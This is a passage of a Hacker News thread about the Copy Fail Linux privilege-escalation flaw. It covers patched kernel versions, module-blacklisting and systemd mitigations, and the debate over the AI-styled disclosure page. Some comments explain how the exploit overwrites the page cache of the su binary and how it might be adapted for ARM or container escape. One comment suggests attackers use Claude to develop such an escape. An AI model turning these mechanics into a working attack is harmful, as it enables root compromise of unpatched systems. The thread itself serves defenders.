        The domain is canonical.<p>Then it&#x27;s syndicate everywhere.<p>But all roads lead back to the domain.
      • vntok7 hours ago
        Definitely comes over as salty. Naming major flaws has been a tradition for decades. Remember Heartbleed? It had a site and a logo :) Shellshock, Meltdown, Spectre as well. A few more: <a href="https:&#x2F;&#x2F;github.com&#x2F;hannob&#x2F;vulns" rel="nofollow">https:&#x2F;&#x2F;github.com&#x2F;hannob&#x2F;vulns</a><p>This site though is pretty useful; first it serves as a central location to point people to with short links in chats&#x2F;emails&#x2F;whatever, then it has a quick visual explainer <i>and</i> a link to the detailed technical report for those who want more info. Pretty neat.<p>Last but not least, buying the domain must have taken 5 minutes, prompting the page must have taken 30 minutes and posting it on HN must have taken 1 minute. So it certainly wasn&#x27;t a lot of work in the grand scheme of things and probably did not deter the team from doing other important things.
        • Orygin4 hours ago
          It used to be done for fame and visibility. Give a marketable name and a website, your exploit will be talked about and your name will shine in the industry.<p>Now it&#x27;s done by an LLM to sell more LLMs services. Disclosure is botched to have the most sensational title so more click more upsell.
      • huflungdung5 hours ago
        [dead]
    • jcul1 hour ago
      Yes, strongly agree.<p>This is HUGE news, I would have skimmed over &quot;Copy Fail&quot;.<p>The blog post might be a better place to link to also, it has more details on the exploit.<p><a href="https:&#x2F;&#x2F;xint.io&#x2F;blog&#x2F;copy-fail-linux-distributions" rel="nofollow">https:&#x2F;&#x2F;xint.io&#x2F;blog&#x2F;copy-fail-linux-distributions</a><p>There are also some good threads on which distros are vulnerable and mitigations on the github page.<p><a href="https:&#x2F;&#x2F;github.com&#x2F;theori-io&#x2F;copy-fail-CVE-2026-31431&#x2F;issues" rel="nofollow">https:&#x2F;&#x2F;github.com&#x2F;theori-io&#x2F;copy-fail-CVE-2026-31431&#x2F;issues</a>
  • nh219 hours ago
    If you want to use the suggested mitigation (disabling kernel module `algif_aead` with a modprobe config), and you do not want to run that whole obfuscated shell code to get an actual root shell, but only check if the module can be loaded, here is a readable version of its first few lines:<p><pre><code> python3 -c &#x27;import socket; s = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0); s.bind((&quot;aead&quot;,&quot;authencesn(hmac(sha256),cbc(aes))&quot;)); print(&quot;algif_aead probably successfully loaded, mitigation not effective; remove again with: rmmod algif_aead&quot;)&#x27; </code></pre> Similarly, when the mitigation is in place,<p><pre><code> modprobe algif_aead </code></pre> should fail with an error.
    • archon8108 hours ago
      <p><pre><code> modprobe algif_aead modprobe: FATAL: Module algif_aead not found in directory &#x2F;lib&#x2F;modules&#x2F;6.14.3-x86_64-linode168 </code></pre> Yet this kernel is vulnerable.
      • Sophira6 hours ago
        That would suggest that CRYPTO_USER_API_AEAD=y in your kernel config. You can disable it in that case by setting that to &quot;n&quot;, recompiling your kernel, and putting the new kernel in place.
        • nh24 hours ago
          Indeed, no modprobe.d will help when the feature is compiled into the kernel (&quot;=y&quot;) instead of compiled into a runtime-loadable module.
  • hackernudes19 hours ago
    LPE = local privilege escalation<p>Too many darn acronyms. This one wasn&#x27;t too hard to figure out from context but I wish people would define acronyms before using them!
    • arcfour16 hours ago
      LPE is a very well-known acronym within the security community, it&#x27;s not purely academic or obscure or anything.<p>I agree that it would be a good idea to define it explicitly when writing for a broader audience, but I don&#x27;t think it&#x27;s particularly egregious that they didn&#x27;t. It&#x27;s certainly something I could see myself forgetting.<p>Then again, the whole writeup appears to be AI-generated, so...
      • 1970-01-013 hours ago
        It is nowhere near this. There are very few acronyms in the IT world that are actually well-known outside of it. LPE is less well-known than LVAD or MCU.<p><a href="https:&#x2F;&#x2F;www.acronymfinder.com&#x2F;Information-Technology&#x2F;MCU.html" rel="nofollow">https:&#x2F;&#x2F;www.acronymfinder.com&#x2F;Information-Technology&#x2F;MCU.htm...</a><p><a href="https:&#x2F;&#x2F;www.acronymfinder.com&#x2F;LVAD.html" rel="nofollow">https:&#x2F;&#x2F;www.acronymfinder.com&#x2F;LVAD.html</a><p><a href="https:&#x2F;&#x2F;www.acronymfinder.com&#x2F;Information-Technology&#x2F;LPE.html" rel="nofollow">https:&#x2F;&#x2F;www.acronymfinder.com&#x2F;Information-Technology&#x2F;LPE.htm...</a>
        • dataflow1 hour ago
          &gt; LPE is less well-known than LVAD or MCU.<p>I knew what LPE stands for but not the others. (I&#x27;ve seen MCU mentioned and kinda had a vague feeling for what it is. Never even seen LVAD.)
      • globular-toast8 hours ago
        Sure, but the target audience of copy.fail is surely not the security community but regular sysadmins who probably don&#x27;t otherwise follow as closely.
        • a964 hours ago
          I would absolutely expect a sysadmin in particular to know and understand the term and acronym.
    • jjordan18 hours ago
      Good writing for a broad audience requires it. Unfortunately the LLMs don&#x27;t tend to adopt this guideline.
      • boston_clone17 hours ago
        it’s a CVE write up; the audience for these knows what an LPE is.
        • acdha16 hours ago
          That’s very optimistic. I’d bet there are an order of magnitude more people wondering how exposed they are than security researchers reading this.
          • staticassertion15 hours ago
            <a href="https:&#x2F;&#x2F;duckduckgo.com&#x2F;?q=LPE+security&amp;ia=web" rel="nofollow">https:&#x2F;&#x2F;duckduckgo.com&#x2F;?q=LPE+security&amp;ia=web</a><p>wow
            • acdha13 hours ago
              Sure, nobody’s saying it’s an inscrutable mystery but if your goal is to inform a wide audience it’s considered good form to expand all but the most common acronyms. It’ll even get you more internet points than petty smugness.
        • hackernudes16 hours ago
          I&#x27;ve read many CVEs (somehow that acronym is ok... heh) but have never seen LPE despite being familiar with the concept.
          • staticassertion15 hours ago
            That seems literally borderline impossible.
            • dataflow1 hour ago
              I think they&#x27;ve almost certainly seen it written out, just not as an acronym. I figured out what it stood for based on context and knowing the full phrase, but I don&#x27;t recall actually seeing the LPE acronym in recent memory. Whereas with CVE it&#x27;s the opposite: I almost never see it written out, and even now find it non-obvious what the E stands for, bizarrely enough.
            • smaudet14 hours ago
              You should re-evaluate your probabilities, I too have heard frequently of CVEs, but never of an LPE.
              • staticassertion14 hours ago
                I&#x27;m sure lots of people have heard of CVEs, but have you actually read many? LPE is an extremely common term. It&#x27;s like not knowing RCE. These are <i>the</i> terms used.
                • cynicalkane13 hours ago
                  I&#x27;ll raise my hand here and risk downvotes from very smart people who are smarter than me, but I&#x27;ve heard of CVE but not LPE or RCE. I know what the latter two terms <i>are</i> but am not used to seeing them in acronyms.<p>So what&#x27;s missing is that keeping up-to-date with CVEs is important and some CVEs are Internet-nerd famous. Remember Heartbleed? Even some casual gamers I know had heard of it. And everyone who&#x27;s mildly serious about sysadmin knows you want to defensively keep systems patched against important CVEs. The second <i>layer</i> of that, what the exploits actually are or do, is a second-layer term of art, one that one might miss the jargon for even if one has familiarity with the concepts.<p>To me, the fact that the page is obviously AI-assisted is way more upsetting than some guy not knowing what an acronym means. There&#x27;s something about AI prose that is just so fucking tedious. It makes the mind glaze over.
                  • staticassertion7 hours ago
                    To be clear, I&#x27;m not suggesting that you if have heard of CVEs therefor you must have heard of LPE. I&#x27;m saying if you have <i>read</i> many of them you would have seen these terms.<p>I obviously do not expect someone who has merely heard of various CVEs before to know anything about the contents of those CVEs. The other poster said they had &quot;read many CVEs&quot;, which I took to mean they have read many CVE disclosures, where the term is extremely common. Perhaps they meant that they&#x27;ve read <i>about</i> CVEs, in which case I can see why the term would not be on their radar.
                • busterarm1 hour ago
                  I&#x27;m as stunned as you are. I have to read CVEs on a weekly cadence (like contractually required to) and LPE&#x2F;RCE are kind of the main keywords we look for in them. Also increasingly TOCTOU. If anyone who actually has to respond to CVEs told me they had never seen these terms before I would judge them as being unserious.
            • stackghost11 hours ago
              I could see it for someone who is only somewhat in tune with security work today.<p>Back in the day those of us breaking into shitty php sites didn&#x27;t use LPE, we used &quot;privesc&quot;, IIRC.
        • no-name-here13 hours ago
          Content at the OP link <a href="http:&#x2F;&#x2F;copy.fail" rel="nofollow">http:&#x2F;&#x2F;copy.fail</a> seems fairly different from any normal CVE I’ve seen.
    • ButlerianJihad12 hours ago
      To be fair, I just consulted 3 cybersecurity glossaries (SANS.org, NIST CSRC, Huntress), and none of them list &quot;LPE&quot; nor &quot;Local Privilege Escalation&quot;.<p>If you type &quot;LPE&quot; into English Wikipedia&#x27;s search bar, and press &quot;Enter&quot;, you&#x27;ll be sent to a disambiguation page which contains a link to the relevant article.<p><a href="https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;LPE" rel="nofollow">https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;LPE</a>
    • 1970-01-0115 hours ago
      I don&#x27;t know why, but newer writers have never been taught to expand their acronyms on first use. I blame the US education system.
  • jesse_dot_id17 hours ago
    Good thing nobody is silly enough to let fully autonomous AI agents run as regular users on these affected operating systems. That could be disastrous given a zero day prompt injection technique.
    • chromacity16 hours ago
      I don&#x27;t see what the issue is, my agent is already running as root.
      • dnnddidiej12 hours ago
        Yeah it has all the government logins and full gmail access. It will be too busy to bother rooting the local machine!
        • latentsea10 hours ago
          Shouldn&#x27;t be a problem, we&#x27;re currently clean on OpSec.
    • ryandrake15 hours ago
      Good thing we haven&#x27;t normalized installing things with curl | sh
      • still_grokking15 hours ago
        Yeah, that&#x27;s great!<p>Imagine we would download random code from the internet and just execute it, like with NPM, PIP, Maven, Cargo etc.
        • om814 hours ago
          cargo&#x2F;uv&#x2F;go have lock files though
          • dnnddidiej12 hours ago
            with curl | sh you could use a checksum you download with curl!
      • Semaphor12 hours ago
        I don’t think that matters as it’s usually curl | sudo sh
      • dawnerd14 hours ago
        Or npm being allowed to run arbitrary post install scripts
      • FlyThruTheSun15 hours ago
        I literally ship an installer that runs with curl | bash... reading this thread while patching my servers is a fun experience lol
    • sieabahlpark16 hours ago
      [dead]
  • RandomGerm4n6 hours ago
    That is why we should get rid of setuid binaries. GrapheneOS does not use them and was therefore not affected. On the desktop there is also a project called Secureblue based on Fedora Atomic that is moving in a similar direction and has already eliminated a large number though not all setuid binaries. As an alternative to sudo, su, and pkexec there is for example run0, which is available in distributions using systemd. Since systemd 259 there is now also the --empower parameter which like sudo elevates the privileges of the regular user. Essentially any distribution could start removing sudo and create an alias so that users don’t have to adjust immediately.
    • dontdoxxme5 hours ago
      No, it is not affected by the exploit as presented. This is a page cache write, so writing to a binary that root will run later can work too. This isn’t a reason to push an agenda that dislikes setuid binaries.
      • RandomGerm4n2 hours ago
        That would only work if the user had access to a binary that they wanted to run as root. Ideally this shouldn’t happen at all for most users. There is almost never a legitimate reason to run any program as root unless for example it is a service that absolutely requires it. In Fedora based distributions SELinux also prevents systemd from running any binaries or scripts that the user has access to as root. Removing setuid binaries and strictly limiting features like user namespaces through SELinux would make Linux significantly more secure. It’s absolutely ridiculous that even an outdated Android smartphone is more secure than the average Linux distribution these days.
        • dataflow1 hour ago
          Yeah. The whole Linux security model seems like it was designed centuries ago. Your permissions are <i>supposed</i> to derive from the authority granted to you at the time of your invocation, and from those with the existing authority to grant&#x2F;delegate them... not from your lineage, name, possessions, or status at birth. I find it kind of funny that generations of *nix engineers appear to have perpetually struggled with this concept. For all the hate it gets, Windows got this part fundamentally right.
  • phreack21 hours ago
    The page itself seems vibecoded and a bit of an advertisement, but it does look like the vulnerability is real and high risk. It does explain the big security update I just got, guess I&#x27;ll prioritize updating today.
    • 2001zhaozhao17 hours ago
      This is pretty obviously an advertisement but it&#x27;s a pretty good advertisement imo, it pairs a meaningful contribution to the OSS ecosystem (discovering and patching a real bug) with selling your cybersecurity tool at the same time.
      • Orygin3 hours ago
        The incentive previously was having more secure software making a name for yourself. The incentive now is finding the most noisy vulnerability so you can push FUD to sell your AI software.
    • AntiUSAbah3 hours ago
      With vibe coding, html is a visualiation tool. not sure if i get your problem with that?
    • angry_octet17 hours ago
      These guys don&#x27;t need to advertise, they are already 100% busy with work. But who wastes their time manually creating web pages? Especially kernel devs.
      • tkgally16 hours ago
        Side comment: I have recently used Claude Code to make a few sites for testing purposes. In the prompt I added &quot;don&#x27;t make it look vibe coded,&quot; and it worked pretty well: No purple gradients, bento box layouts, etc. Nothing spectacularly original, either, but probably enough to avoid accusations of vibe coding.
      • x413215 hours ago
        it&#x27;s advertising their AI, not the talents of their humans :D
        • angry_octet14 hours ago
          People are confusing the presentation layer with the content, just a surface layer analysis. Basically people are feeling so burnt by reading AI fluff that they make a rushed judgement.
          • TazeTSchnitzel9 hours ago
            Writing something by hand requires effort and signals seriousness. It&#x27;s not unreasonable to take things less seriously when they come wrapped in low-effort packaging.
            • martin-5 hours ago
              Sometimes that effort is better spent on other things.
              • bool3max15 minutes ago
                It&#x27;s not the effort or the lack thereof here that&#x27;s the issue, but rather the message you&#x27;re sending by using slop tools to create the design of the advertisement of your research. It looks cheap.<p>I&#x27;m sure that, at first glance, many more people would take this much more seriously had the authors gone with a style-less HTML page or something, and that&#x27;d require _less_ effort, not more.
  • m3nu17 hours ago
    I wasn&#x27;t able to unload algif_aead on RHEL 9&#x2F;10 because it&#x27;s built in, rather than a module.<p>So here the next-best thing I found: Disable AF_ALG via systemd. Needs drop-ins for all exposed services. Here an Ansible playbook that covers ssdh and user@, which are the main ones usually.<p><a href="https:&#x2F;&#x2F;gist.github.com&#x2F;m3nu&#x2F;c19269ef4fd6fa53b03eb388f77464da" rel="nofollow">https:&#x2F;&#x2F;gist.github.com&#x2F;m3nu&#x2F;c19269ef4fd6fa53b03eb388f77464d...</a>
    • byron325615 hours ago
      How about blacklisting algif_aead initialization function on RHEL 9&#x2F;10? I added &quot;initcall_blacklist=algif_aead_init&quot; to the kernel boot options and rebooted. The exploit is not working anymore.
      • m3nu9 hours ago
        Good idea. Added to the playbook for RHEL only.<p>On Debian normal unloading of the module works.
    • yrro6 hours ago
      FYI RHEL&#x27;s SELinux policy blocks AF_ALG socket creation for confined services out of the box. But disabling via RestrictAddressFamilies= unit option, or initcall_blacklist= kernel parameter, seems to be a good mitigation for unconfined services, users and containers.
    • pkoiralap17 hours ago
      I was coming up with the same intuition. However, it&#x27;s like a whack-a-mole. What about cronjobs and slurmjobs and other services? Is there a way to do this directly on systemd so that all other processes inherit it rather than doing it on each one?
      • chucky_z16 hours ago
        <a href="https:&#x2F;&#x2F;www.freedesktop.org&#x2F;software&#x2F;systemd&#x2F;man&#x2F;latest&#x2F;systemd.unit.html#" rel="nofollow">https:&#x2F;&#x2F;www.freedesktop.org&#x2F;software&#x2F;systemd&#x2F;man&#x2F;latest&#x2F;syst...</a><p>`&#x2F;etc&#x2F;systemd&#x2F;system&#x2F;service.d&#x2F;${...}.conf`<p>I think this is what you&#x27;re looking for.
  • progval21 hours ago
    So this replaces a SUID binary, in order to run as PID 0. The website claims it can escape &quot;Kubernetes &#x2F; container clusters&quot; and &quot;CI runners &amp; build farms&quot; but I don&#x27;t see anything supporting the claim it can escape a container (or specifically, a user namespace).<p>I ran the exploit in rootless Podman, and predictably it doesn&#x27;t escape the container.<p>They also claim their script &quot;roots every Linux distribution shipped since 2017.&quot;, but only tested four; and it doesn&#x27;t work on Alpine
    • john_strinlai20 hours ago
      &gt;<i>The website claims it can escape &quot;Kubernetes &#x2F; container clusters&quot; and &quot;CI runners &amp; build farms&quot; but I don&#x27;t see anything supporting the claim it can escape a container </i><p>they state that the write-up is forthcoming. presumably there is some additional steps or modifications that will be detailed in the &#x27;part 2&#x27;.<p><i>&quot;Next: &quot;From Pod to Host,&quot; how Copy Fail escapes every major cloud Kubernetes platform.&quot;</i>
      • tjbecker19 hours ago
        This is correct. The container escape exploit and writeup is not yet released.
        • dnnddidiej12 hours ago
          Opus 4.7 it if you can&#x27;t wait
    • tardedmeme17 hours ago
      It overwrites bytes in memory of any file you can read. It&#x27;s not hard to imagine how it could escape a lot of things.
    • layer820 hours ago
      The 2017 claim is based on the vulnerability having been introduced in this commit in the second half of 2017: <a href="https:&#x2F;&#x2F;git.kernel.org&#x2F;pub&#x2F;scm&#x2F;linux&#x2F;kernel&#x2F;git&#x2F;torvalds&#x2F;linux.git&#x2F;commit&#x2F;?id=72548b093ee3" rel="nofollow">https:&#x2F;&#x2F;git.kernel.org&#x2F;pub&#x2F;scm&#x2F;linux&#x2F;kernel&#x2F;git&#x2F;torvalds&#x2F;lin...</a><p>The details will depend on whether the kernel is a newer release or a maintenance version of an older release.
    • Twirrim18 hours ago
      &gt; They also claim their script &quot;roots every Linux distribution shipped since 2017.&quot;, but only tested four; and it doesn&#x27;t work on Alpine<p>They&#x27;ve done themselves no favours at all with their write up.<p>It does seem legitimate (I was able to use the PoC on a 24.04 instance), and seems like it should be a big deal, but the actual number of affected distributions seems way lower, and not even remotely as per their claim every distribution since 2017.<p>For example with Ubuntu, if I&#x27;m reading it right there&#x27;s some impact in 16.04 (EOL), but then at least as per their analysis, only the vendor specific 6.17 kernels they ship that have it (e.g. linux-gcp, linux-oracle-6.7 etc.). That&#x27;s a relatively new kernel version they started shipping recently, after it was released upstream last September.
      • x413215 hours ago
        i mean, it doesn&#x27;t work on any SELinux, but it&#x27;s still quite severe anyhow
        • yrro7 hours ago
          Have you got any info about this. &#x27;seinfo -c&#x27; shows there is an alg_socket class. I presume this permission is required to be able to create an AF_ALG socket:<p><pre><code> $ sesearch -A -c alg_socket -p createallow bluetooth_t bluetooth_t:alg_socket { accept append bind connect create getattr getopt ioctl listen lock read setattr setopt shutdown write }; allow container_device_plugin_init_t container_device_plugin_init_t:alg_socket { accept append bind connect create getattr getopt ioctl lock map read setattr setopt shutdown write }; allow container_device_plugin_t container_device_plugin_t:alg_socket { accept append bind connect create getattr getopt ioctl lock map read setattr setopt shutdown write }; allow container_device_t container_device_t:alg_socket { accept append bind connect create getattr getopt ioctl lock map read setattr setopt shutdown write }; allow container_engine_t container_engine_t:alg_socket { accept append bind connect create getattr getopt ioctl lock map read setattr setopt shutdown write }; allow container_init_t container_init_t:alg_socket { accept append bind connect create getattr getopt ioctl lock map read setattr setopt shutdown write }; allow container_kvm_t container_kvm_t:alg_socket { accept append bind connect create getattr getopt ioctl lock map read setattr setopt shutdown write }; allow container_logreader_t container_logreader_t:alg_socket { accept append bind connect create getattr getopt ioctl lock map read setattr setopt shutdown write }; allow container_logwriter_t container_logwriter_t:alg_socket { accept append bind connect create getattr getopt ioctl lock map read setattr setopt shutdown write }; allow container_t container_t:alg_socket { accept append bind connect create getattr getopt ioctl lock map read setattr setopt shutdown write }; allow container_userns_t container_userns_t:alg_socket { accept append bind connect create getattr getopt ioctl lock map read setattr setopt shutdown write }; allow openshift_app_t openshift_app_t:alg_socket { append bind connect create getattr getopt ioctl lock read setattr setopt shutdown write }; allow openshift_t openshift_t:alg_socket { append bind connect create getattr getopt ioctl lock read setattr setopt shutdown write }; allow spc_t unlabeled_t:alg_socket { append bind connect create getattr getopt ioctl lock read setattr setopt shutdown write }; allow staff_t staff_t:alg_socket { append bind connect create getopt ioctl lock read setattr setopt shutdown write }; allow sysadm_t sysadm_t:alg_socket { accept append bind connect create getopt ioctl listen lock read setattr setopt shutdown write }; allow unconfined_domain_type domain:alg_socket { accept append bind connect create getattr getopt ioctl listen lock map name_bind read recv_msg recvfrom relabelfrom relabelto send_msg sendto setattr setopt shutdown write }; allow user_t user_t:alg_socket { append bind connect create getopt ioctl lock read setattr setopt shutdown write }; </code></pre> ... that&#x27;s a lot of domains, including container_t and user_t; and obviously anything unconfined_t can&#x27;t be expected to be restricted.<p>(Maybe you &amp; others are specifically thinking of Android&#x27;s policy?)
    • rcxdude20 hours ago
      If you can get to real UID 0 from a rootless container, you can escape it, but you do need to take extra steps. Same with it working on Alpine: the underlying vulnerability probably still exists, but the script might need some adjusting. It&#x27;s a PoC, not a full exploit for every situation.
      • CGamesPlay13 hours ago
        It&#x27;s worth pointing out that you cannot, definitionally, get &quot;real UID 0&quot; in a &quot;rootless&quot; container, because then it wouldn&#x27;t be a rootless container. This is relevant because this exploit doesn&#x27;t claim to be able to bypass user namespaces, and that getting &quot;real UID 0&quot; would be a different exploit.
        • rcxdude4 hours ago
          The underlying exploit allows writing arbitrary values to the page cache, independent of any namespacing, so it should be assumed to allow container escapes even if the given PoC code doesn&#x27;t do that.
          • CGamesPlay3 hours ago
            That&#x27;s fair (although it doesn&#x27;t have anything to do with getting &quot;real root&quot; in a userns in that case). I guess one approach would be something like modifying the host&#x27;s logrotate binary and waiting for it to trigger, or something like that. Would escape the container to root on the host directly. I imagine it wouldn&#x27;t be a sure thing to pull off, either, but definitely straightforward enough that any APT should be asking Claude to develop it.
    • amusingimpala7520 hours ago
      Their PoC does as you say, but is built upon arbitrary modification of the page cache, which could be abused for the other things
      • progval20 hours ago
        Ah indeed, it can be used to overwrite the page cache for files on read-only volumes.
    • CGamesPlay13 hours ago
      Kubernetes 1.33 switches to user namespaces enabled by default, which I imagine is the same underlying mechanism that rootless Podman uses. `hostUsers: false` is the way to ensure that root in the pod is root on the host. It&#x27;s trivial for a real (unmapped) root to escape a Kubernetes pod.
    • embedding-shape20 hours ago
      Did you try it on systems that don&#x27;t have the patch already? Seems many distributions already shipped kernels with the patch ~a month ago.
      • progval20 hours ago
        Yes. Alpine in rootless Podman doesn&#x27;t work (after replacing &quot;&#x2F;usr&#x2F;bin&#x2F;su&quot; with &quot;&#x2F;bin&#x2F;su&quot; in the .py, running the .py just doesn&#x27;t do anything) while it does in Debian in rootless Podman on the same host.
    • microtherion20 hours ago
      It also doesn&#x27;t work on Raspberry Pi, though presumably it could easily be made to; it does replace the su binary, but the replacement is not executable.
      • unsnap_biceps19 hours ago
        It&#x27;s patching the binary in memory, so the binary patch would be architecture dependent. The existing one is only x86_64, but with an updated payload, it would work on arm.
      • x413215 hours ago
        this is because the `su` binary is replaced with x86 shellcode, replace it with aarch64 and it will work just the same.
    • x413215 hours ago
      there is a PoC floating around for Alpine.
    • julietsecurity3 hours ago
      [flagged]
  • embedding-shape21 hours ago
    For mitigation, the page currently basically just says:<p>&gt; Update your distribution&#x27;s kernel package to one that includes mainline commit a664bf3d603d<p>But it isn&#x27;t very clear to me what Kernel version you can expect that to be in. For Arch&#x2F;CachyOS, the patch seems to be included in 6.18.22+, 6.19.12+ and 7.0+. If you&#x27;re on any of the lower versions in the same upstream stable series, you&#x27;re likely vulnerable right now. Some distro kernels may include the fix in other versions, so check for your distribution.
    • nh220 hours ago
      On a git repo that has as remotes<p><pre><code> https:&#x2F;&#x2F;github.com&#x2F;torvalds&#x2F;linux.git https:&#x2F;&#x2F;git.kernel.org&#x2F;pub&#x2F;scm&#x2F;linux&#x2F;kernel&#x2F;git&#x2F;stable&#x2F;linux.git as remotes: </code></pre> running a search for commit a664bf3d603d&#x27;s commit message:<p><pre><code> git log --all --grep &#x27;crypto: algif_aead - Revert to operating out-of-place&#x27; &#x27;--format=%H&#x27; | xargs -I &#x27;{}&#x27; git tag --contains &#x27;{}&#x27; | sort -u </code></pre> outputs these tags as having the fix:<p><pre><code> v6.18.22 v6.18.23 v6.18.24 v6.18.25 v6.19.12 v6.19.13 v6.19.14 v7.0 v7.0.1 v7.0.2 v7.0-rc7 v7.1-rc1</code></pre>
      • bombcar17 hours ago
        Here&#x27;s the diff if you wanna play in your source (Gentoo, looking at you):<p><a href="https:&#x2F;&#x2F;github.com&#x2F;torvalds&#x2F;linux&#x2F;commit&#x2F;a664bf3d603d" rel="nofollow">https:&#x2F;&#x2F;github.com&#x2F;torvalds&#x2F;linux&#x2F;commit&#x2F;a664bf3d603d</a><p>6.18.25-gentoo-x86_64 has the patch for Gentoo.
      • rcxdude17 hours ago
        distros might also apply patches to their own packages, so this isn&#x27;t a perfect signal (i.e. if you have one of those versions, you almost certainly have the fix, but if you don&#x27;t, it might still be fixed but you&#x27;ll need to check the distro&#x27;s package information to know for sure).
    • kro21 hours ago
      Major os vendors will publish pages with the fixed versions:<p><a href="https:&#x2F;&#x2F;security-tracker.debian.org&#x2F;tracker&#x2F;CVE-2026-31431" rel="nofollow">https:&#x2F;&#x2F;security-tracker.debian.org&#x2F;tracker&#x2F;CVE-2026-31431</a><p><a href="https:&#x2F;&#x2F;ubuntu.com&#x2F;security&#x2F;CVE-2026-31431" rel="nofollow">https:&#x2F;&#x2F;ubuntu.com&#x2F;security&#x2F;CVE-2026-31431</a><p>Also, disabling algif_aead is suggested as mitigation
      • 1p09gj20g8h20 hours ago
        Where are you seeing the disabling algif_aead mitigation?
        • oskarkk20 hours ago
          In TFA: <a href="https:&#x2F;&#x2F;copy.fail&#x2F;#mitigation" rel="nofollow">https:&#x2F;&#x2F;copy.fail&#x2F;#mitigation</a><p>&gt; Before you can patch: disable the algif_aead module.<p>&gt; echo &quot;install algif_aead &#x2F;bin&#x2F;false&quot; &gt; &#x2F;etc&#x2F;modprobe.d&#x2F;disable-algif.conf<p>&gt; rmmod algif_aead 2&gt;&#x2F;dev&#x2F;null || true<p>Edit: and I can confirm that on my system with kernel 6.19.8 the above fixes the exploit.
          • comfydragon18 hours ago
            Weirdly, the mitigation <i>does not</i> seem to work under WSL2 (at least in Ubuntu 24.04).<p><pre><code> Linux wsl2 6.6.87.2-microsoft-standard-WSL2 ... </code></pre> `modprobe algif_aead` errors out, but if I run the POC, it succeeds.<p>Outside of WSL2, the mitigation does appear to work though.
            • tremon17 hours ago
              It&#x27;s possible that the WSL kernel has that code compiled-in rather than as a loadable module. If they ship the kernel config somewhere, you could verify with<p><pre><code> zgrep CRYPTO_USER_API_AEAD &#x2F;proc&#x2F;config.gz &#x2F;boot&#x2F;config-* </code></pre> It should show =m if it&#x27;s a loadable module, and =y if it&#x27;s compiled in.
              • comfydragon17 hours ago
                It&#x27;s a loadable module:<p><pre><code> CONFIG_CRYPTO_USER_API_AEAD=m </code></pre> Using bpftrace to watch calls to module_request, openat, etc., it looks like when the kernel calls modprobe, it doesn&#x27;t even <i>look</i> at the disable-algif.conf file:<p><pre><code> [module_request] pid=3648 comm=python name=algif-aead [umh_setup] pid=3648 comm=python path=&#x2F;sbin&#x2F;modprobe argv0=&#x2F;sbin&#x2F;modprobe argv1=-q argv2=-- argv3=algif-aead argv4= [openat] pid=3688 file=&#x2F;etc&#x2F;ld.so.cache [openat] pid=3688 file=&#x2F;lib&#x2F;liblzma.so.5 [openat] pid=3688 file=&#x2F;lib&#x2F;libz.so.1 [openat] pid=3688 file=&#x2F;lib&#x2F;libgcc_s.so.1 [openat] pid=3688 file=&#x2F;lib&#x2F;libc.so.6 [openat] pid=3688 file=&#x2F;etc&#x2F;modprobe.d [openat] pid=3688 file=&#x2F;lib&#x2F;modprobe.d [openat] pid=3688 file=&#x2F;lib&#x2F;modprobe.d&#x2F;dist-blacklist.conf [openat] pid=3688 file=&#x2F;lib&#x2F;modules&#x2F;6.6.87.2-microsoft-standard-WSL2&#x2F;modules.softdep [openat] pid=3688 file=&#x2F;lib&#x2F;modprobe.d&#x2F;systemd.conf [openat] pid=3688 file=&#x2F;etc&#x2F;modprobe.d&#x2F;usb.conf [openat] pid=3688 file=&#x2F;proc&#x2F;cmdline [openat] pid=3688 file=&#x2F;lib&#x2F;modules&#x2F;6.6.87.2-microsoft-standard-WSL2&#x2F;modules.dep.bin [openat] pid=3688 file=&#x2F;lib&#x2F;modules&#x2F;6.6.87.2-microsoft-standard-WSL2&#x2F;modules.alias.bin.. [openat] pid=3688 file=&#x2F;lib&#x2F;modules&#x2F;6.6.87.2-microsoft-standard-WSL2&#x2F;modules.symbols.b.. [openat] pid=3688 file=&#x2F;lib&#x2F;modules&#x2F;6.6.87.2-microsoft-standard-WSL2&#x2F;modules.builtin.a.. [openat] pid=3688 file=&#x2F;lib&#x2F;modules&#x2F;6.6.87.2-microsoft-standard-WSL2&#x2F;modules.builtin.b.. [openat] pid=3688 file=&#x2F;sys&#x2F;module&#x2F;algif_aead&#x2F;initstate [openat] pid=3688 file=&#x2F;sys&#x2F;module&#x2F;af_alg&#x2F;initstate [openat] pid=3688 file=&#x2F;sys&#x2F;module&#x2F;algif_aead&#x2F;initstate [openat] pid=3688 file=&#x2F;lib&#x2F;modules&#x2F;6.6.87.2-microsoft-standard-WSL2&#x2F;kernel&#x2F;crypto&#x2F;alg.. [finit_module] pid=3688 comm=modprobe fd=0 flags=0 [module_load] pid=3688 comm=modprobe name=algif_aead </code></pre> Restart WSL2, run the bpftrace, and try `sudo modprobe algif-aead`, and that shows it looking at (or I guess <i>opening</i>) other files in &#x2F;etc&#x2F;modprobe.d, including the new one.<p>The mystery is <i>why</i>.
                • dezgeg13 hours ago
                  In wsl, each distro you have runs in a container (with lot of permissions), you&#x27;d need to apply the modprobe change inside wsl &quot;hypervisor&quot; rootfs
  • parliament323 hours ago
    Note that in kubernetes, setting `allowPrivilegeEscalation` to false (which you should be doing already, it&#x27;s in the Pod Security Standards Restricted profile) mitigates this.
    • j16sdiz2 hours ago
      according to this reddit post <a href="https:&#x2F;&#x2F;www.reddit.com&#x2F;r&#x2F;kubernetes&#x2F;comments&#x2F;1szn6p1&#x2F;comment&#x2F;oj4cs67&#x2F;" rel="nofollow">https:&#x2F;&#x2F;www.reddit.com&#x2F;r&#x2F;kubernetes&#x2F;comments&#x2F;1szn6p1&#x2F;comment...</a>?<p>&gt; the primary mitigation is still patching the node kernel; user namespaces are blast-radius reduction, not a complete mitigation for this path
      • parliament321 hour ago
        allowPrivilegeEscalation is unrelated to user namespaces. Many vendors do not yet have kernel patches available, but yes that&#x27;ll eventually be the proper fix.
    • TZubiri1 hour ago
      They have a setting for that?<p>That&#x27;s crazy, feels like prompting &quot;make no mistakes&quot; to the llm.<p>If it works, when would you want it turned on? Why isn&#x27;t false the default
      • parliament321 hour ago
